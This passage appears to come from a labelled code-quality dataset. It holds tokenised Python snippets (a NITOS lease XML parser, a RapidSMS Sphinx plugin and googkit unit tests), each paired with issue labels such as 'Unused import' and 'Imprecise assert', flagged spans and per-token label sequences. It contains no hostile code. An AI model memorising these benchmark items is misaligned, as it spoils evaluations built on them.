"\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Leas", "e_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "lease", "s_", "(_", "xml_", ",_", "filter_", "=_", "{_", "}_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xpath_", "=_", "'//", "lease", "%", "s", " ", "|", " ", "//", "default", ":", "lease", "%", "s", "'_", "%_", "(_", "Xp", "ath", "Filter_", "._", "xpath_", "(_", "filter_", ")_", ",_", "Xp", "ath", "Filter_", "._", "xpath_", "(_", "filter_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lease", "\\u", "elems_", "=_", "xml_", "._", "xpath_", "(_", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "NIT", "OS", "v1", "Leas", "e_", "._", "get", "\\u", "lease", "\\u", "objs_", "(_", "lease", "\\u", "elems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Leas", "e_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "lease", "\\u", "objs_", "(_", "lease", "\\u", "elems_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lease", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channels_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "lease", "\\u", "elem_", "in_", "lease", "\\u", "elems_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "get", " ", "nodes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "\\u", "elems_", "=_", "lease", "\\u", "elem_", "._", "xpath_", "(_", "'./", "default", ":", "node", " ", "|", " ", "./", "node", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node", "\\u", "elem_", "in_", "node", "\\u", "elems_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lease_", "=_", "Leas", "e_", "(_", "lease", "\\u", "elem_", "._", "attrib_", ",_", "lease", "\\u", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lease_", "[_", "'", "slice", "\\u", "id", "'_", "]_", "=_", "lease", "\\u", "elem_", "._", "attrib_", "[_", "'", "slice", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lease_", "[_", "'", "start", "\\u", "time", "'_", "]_", "=_", "lease", "\\u", "elem_", "._", "attrib_", "[_", "'", "start", "\\u", "time", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lease_", "[_", "'", "duration", "'_", "]_", "=_", "lease", "\\u", "elem_", "._", "attrib_", "[_", "'", "duration", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lease_", "[_", "'", "component", "\\u", "id", "'_", "]_", "=_", "node", "\\u", "elem_", "._", "attrib_", "[_", "'", "component", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lease", "s_", "._", "append_", "(_", "lease_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "get", " ", "channels_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "channel", "\\u", "elems_", "=_", "lease", "\\u", "elem_", "._", "xpath_", "(_", "'./", "default", ":", "channel", " ", "|", " ", "./", "channel", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "channel", "\\u", "elem_", "in_", "channel", "\\u", "elems_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "channel_", "=_", "Channel_", "(_", "channel", "\\u", "elem_", "._", "attrib_", ",_", "channel", "\\u", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channel_", "[_", "'", "slice", "\\u", "id", "'_", "]_", "=_", "lease", "\\u", "elem_", "._", "attrib_", "[_", "'", "slice", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channel_", "[_", "'", "start", "\\u", "time", "'_", "]_", "=_", "lease", "\\u", "elem_", "._", "attrib_", "[_", "'", "start", "\\u", "time", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channel_", "[_", "'", "duration", "'_", "]_", "=_", "lease", "\\u", "elem_", "._", "attrib_", "[_", "'", "duration", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channel_", "[_", "'", "channel", "\\u", "num", "'_", "]_", "=_", "channel", "\\u", "elem_", "._", "attrib_", "[_", "'", "channel", "\\u", "num", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channels_", "._", "append_", "(_", "channel_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "lease", "s_", ",_", "channels_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
rapidsms/rapidsms/docs/_ext/rapidsmsdocs.py
[ { "content": "\"\"\"\nSphinx plugins for RapidSMS documentation.\n\"\"\"\n\ntry:\n import json\nexcept ImportError:\n try:\n import simplejson as json\n except ImportError:\n try:\n from django.utils import simplejson as json\n except ImportError:\n json = None\n\nfrom sphinx import addnodes, roles\nfrom sphinx.util.compat import Directive\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def setup(app):\n app.add_crossref_type(\n directivename = \"setting\",\n rolename = \"setting\",\n indextemplate = \"pair: %s; setting\",\n )\n app.add_crossref_type(\n directivename = \"templatetag\",\n rolename = \"ttag\",\n indextemplate = \"pair: %s; template tag\"\n )\n app.add_crossref_type(\n directivename = \"templatefilter\",\n rolename = \"tfilter\",\n indextemplate = \"pair: %s; template filter\"\n )\n app.add_crossref_type(\n directivename = \"router\",\n rolename = \"router\",\n indextemplate = \"pair: %s; router\",\n )\n app.add_config_value('rapidsms_next_version', '0.0', True)\n app.add_directive('versionadded', VersionDirective)\n app.add_directive('versionchanged', VersionDirective)", "metadata": "root.setup", "header": "['module', '___EOS___']", "index": 19 }, { "content": "class VersionDirective(Directive):\n has_content = True\n required_arguments = 1\n optional_arguments = 1\n final_argument_whitespace = True\n option_spec = {}\n", "metadata": "root.VersionDirective", "header": "['module', '___EOS___']", "index": 45 }, { "content": " def run(self):\n env = self.state.document.settings.env\n arg0 = self.arguments[0]\n is_nextversion = env.config.rapidsms_next_version == arg0\n ret = []\n node = addnodes.versionmodified()\n ret.append(node)\n if not is_nextversion:\n if len(self.arguments) == 1:\n linktext = 'Please, see the release notes </releases/%s>' % (arg0)\n xrefs = roles.XRefRole()('doc', linktext, linktext,\n self.lineno, self.state)\n node.extend(xrefs[0])\n node['version'] = arg0\n else:\n node['version'] = \"Development version\"\n node['type'] = self.name\n if len(self.arguments) == 2:\n inodes, messages = self.state.inline_text(self.arguments[1],\n self.lineno+1)\n node.extend(inodes)\n if self.content:\n self.state.nested_parse(self.content, self.content_offset,\n node)\n ret = ret + messages\n env.note_versionchange(node['type'], node['version'], node,\n self.lineno)\n return ret", "metadata": "root.VersionDirective.run", "header": "['class', 'VersionDirective', '(', 'Directive', ')', ':', '___EOS___']", "index": 52 } ]
[ { "span": "import json", "start_line": 5, "start_column": 4, "end_line": 5, "end_column": 15 }, { "span": "import simplejson as json", "start_line": 8, "start_column": 8, "end_line": 8, "end_column": 33 }, { "span": "from django.utils import simplejson as json", "start_line": 11, "start_column": 12, "end_line": 11, "end_column": 55 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Sph", "inx", " ", "plugin", "s", " ", "for", " ", "Rapid", "SMS", " ", "documentation", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "simplejson_", "as_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "utils_", "import_", "simplejson_", "as_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "sphinx_", "import_", "addn", "odes_", ",_", "roles_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sphinx_", "._", "util_", "._", "compat_", "import_", "Directive", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "setup_", "(_", "app_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "._", "add", "\\u", "crossr", "ef", "\\u", "type_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "directive", "name_", "=_", "\"", "setti", "ng", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "role", "name_", "=_", "\"", "setti", "ng", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index", "template_", "=_", "\"", "pair", ":", " ", "%", "s", ";", " ", "setti", "ng", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "add", "\\u", "crossr", "ef", "\\u", "type_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "directive", "name_", "=_", "\"", "templatet", "ag", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "role", "name_", "=_", "\"", "tta", "g", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index", "template_", "=_", "\"", "pair", ":", " ", "%", "s", ";", " ", "template", " ", "tag", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "add", "\\u", "crossr", "ef", "\\u", "type_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "directive", "name_", "=_", "\"", "template", "filter", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "role", "name_", "=_", "\"", "tfi", "lter", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index", "template_", "=_", "\"", "pair", ":", " ", "%", "s", ";", " ", "template", " ", "filter", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "add", "\\u", "crossr", "ef", "\\u", "type_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "directive", "name_", "=_", "\"", "router", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "role", "name_", "=_", "\"", "router", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index", "template_", "=_", "\"", "pair", ":", " ", "%", "s", ";", " ", "router", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "add", "\\u", "config", "\\u", "value_", "(_", "'", "rapid", "sms", "\\u", "next", "\\u", "version", "'_", ",_", "'", "0.", "0", "'_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "add", "\\u", "directive_", "(_", "'", "version", "adde", "d", "'_", ",_", "Version", "Directive", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "add", "\\u", "directive_", "(_", "'", "version", "change", "d", "'_", ",_", "Version", "Directive", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Version", "Directive", "_", "(_", "Directive", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "content_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "require", "d\\u", "arguments_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "option", "al", "\\u", "arguments_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "final", "\\u", "argu", "ment", "\\u", "whitespace_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "option", "\\u", "spec_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Version", "Directive", "_", "(_", "Directive", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "env_", "=_", "self_", "._", "state_", "._", "document_", "._", "settings_", "._", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg0_", "=_", "self_", "._", "arguments_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "next", "version_", "=_", "env_", "._", "config_", "._", "rapid", "sms", "\\u", "next", "\\u", "version_", "==_", "arg0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "=_", "addn", "odes_", "._", "version", "modified_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "._", "append_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "is", "\\u", "next", "version_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "self_", "._", "arguments_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linkt", "ext_", "=_", "'", "Ple", "ase", ",", " ", "see", " ", "the", " ", "release", " ", "note", "s", " ", "</", "release", "s", "/", "%", "s", ">'_", "%_", "(_", "arg0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xref", "s_", "=_", "roles_", "._", "XR", "ef", "Role_", "(_", ")_", "(_", "'", "doc", "'_", ",_", "linkt", "ext_", ",_", "linkt", "ext_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "lineno_", ",_", "self_", "._", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "._", "extend_", "(_", "xref", "s_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "node_", "[_", "'", "version", "'_", "]_", "=_", "arg0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "[_", "'", "version", "'_", "]_", "=_", "\"", "Dev", "elo", "pme", "nt", " ", "version", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "node_", "[_", "'", "type", "'_", "]_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "arguments_", ")_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inode", "s_", ",_", "messages_", "=_", "self_", "._", "state_", "._", "inline", "\\u", "text_", "(_", "self_", "._", "arguments_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "lineno_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "._", "extend_", "(_", "inode", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "content_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "state_", "._", "nest", "ed", "\\u", "parse_", "(_", "self_", "._", "content_", ",_", "self_", "._", "content", "\\u", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ret_", "=_", "ret_", "+_", "messages_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "env_", "._", "note", "\\u", "version", "change_", "(_", "node_", "[_", "'", "type", "'_", "]_", ",_", "node_", "[_", "'", "version", "'_", "]_", ",_", "node_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "lineno_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "ret_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2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ise assert
googkit/googkit/test/commands/test_candidates.py
[ { "content": " def test_run_internal(self):\n self.env.argument = self._arg('googkit.py _candidates deps')\n with mock.patch('sys.stdout', new_callable=StubStdout) as mock_stdout:\n self.cmd.run_internal()\n candidates = mock_stdout.getvalue().split('\\n')\n self.assertFalse('deps' in candidates)\n self.assertTrue('update' in candidates)\n self.assertFalse('--verbose' in candidates)\n\n self.env.argument = self._arg('googkit.py _candidates deps update')\n with mock.patch('sys.stdout', new_callable=StubStdout) as mock_stdout:\n self.cmd.run_internal()\n candidates = mock_stdout.getvalue().split('\\n')\n self.assertFalse('deps' in candidates)\n self.assertFalse('update' in candidates)\n self.assertTrue('--verbose' in candidates)\n\n self.env.argument = self._arg('googkit.py _candidates deps update --verbose')\n with mock.patch('sys.stdout', new_callable=StubStdout) as mock_stdout:\n self.cmd.run_internal()\n candidates = mock_stdout.getvalue().split('\\n')\n self.assertFalse('deps' in candidates)\n self.assertFalse('update' in candidates)\n self.assertFalse('--verbose' in candidates)", "metadata": "root.TestCandidatesCommand.test_run_internal", "header": "['class', 'TestCandidatesCommand', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 35 } ]
[ { "span": "self.assertFalse('deps' in candidates)", "start_line": 40, "start_column": 8, "end_line": 40, "end_column": 46 }, { "span": "self.assertTrue('update' in candidates)", "start_line": 41, "start_column": 8, "end_line": 41, "end_column": 47 }, { "span": "self.assertFalse('--verbose' in candidates)", "start_line": 42, "start_column": 8, "end_line": 42, "end_column": 51 }, { "span": "self.assertFalse('deps' in candidates)", "start_line": 48, "start_column": 8, "end_line": 48, "end_column": 46 }, { "span": "self.assertFalse('update' in candidates)", "start_line": 49, "start_column": 8, "end_line": 49, "end_column": 48 }, { "span": "self.assertTrue('--verbose' in candidates)", "start_line": 50, "start_column": 8, "end_line": 50, "end_column": 50 }, { "span": "self.assertFalse('deps' in candidates)", "start_line": 56, "start_column": 8, "end_line": 56, "end_column": 46 }, { "span": "self.assertFalse('update' in candidates)", "start_line": 57, "start_column": 8, "end_line": 57, "end_column": 48 }, { "span": "self.assertFalse('--verbose' in candidates)", "start_line": 58, "start_column": 8, "end_line": 58, "end_column": 51 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Candidate", "s", "Command_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "run", "\\u", "internal_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "env_", "._", "argument_", "=_", "self_", "._", "\\u", "arg_", "(_", "'", "goog", "kit", ".", "py", " ", "\\u", "candidate", "s", " ", "dep", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "mock_", "._", "patch_", "(_", "'", "sys", ".", "stdout", "'_", ",_", "new", "\\u", "callable_", "=_", "Stu", "b", "Stdout", "_", ")_", "as_", "mock", "\\u", "stdout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cmd_", "._", "run", "\\u", "internal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "candidates_", "=_", "mock", "\\u", "stdout_", "._", "getvalue_", "(_", ")_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "dep", "s", "'_", "in_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "update", "'_", "in_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'--", "verbo", "se", "'_", "in_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "env_", "._", "argument_", "=_", "self_", "._", "\\u", "arg_", "(_", "'", "goog", "kit", ".", "py", " ", "\\u", "candidate", "s", " ", "dep", "s", " ", "update", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "mock_", "._", "patch_", "(_", "'", "sys", ".", "stdout", "'_", ",_", "new", "\\u", "callable_", "=_", "Stu", "b", "Stdout", "_", ")_", "as_", "mock", "\\u", "stdout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cmd_", "._", "run", "\\u", "internal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "candidates_", "=_", "mock", "\\u", "stdout_", "._", "getvalue_", "(_", ")_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "dep", "s", "'_", "in_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "update", "'_", "in_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'--", "verbo", "se", "'_", "in_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "env_", "._", "argument_", "=_", "self_", "._", "\\u", "arg_", "(_", "'", "goog", "kit", ".", "py", " ", "\\u", "candidate", "s", " ", "dep", "s", " ", "update", " ", "--", "verbo", "se", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "mock_", "._", "patch_", "(_", "'", "sys", ".", "stdout", "'_", ",_", "new", "\\u", "callable_", "=_", "Stu", "b", "Stdout", "_", ")_", "as_", "mock", "\\u", "stdout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cmd_", "._", "run", "\\u", "internal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "candidates_", "=_", "mock", "\\u", "stdout_", "._", "getvalue_", "(_", ")_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "dep", "s", "'_", "in_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "update", "'_", "in_", "candidates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'--", "verbo", "se", "'_", "in_", "candidates_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Imprecise assert
spantaleev/sijax-python/tests/sijax_tests.py
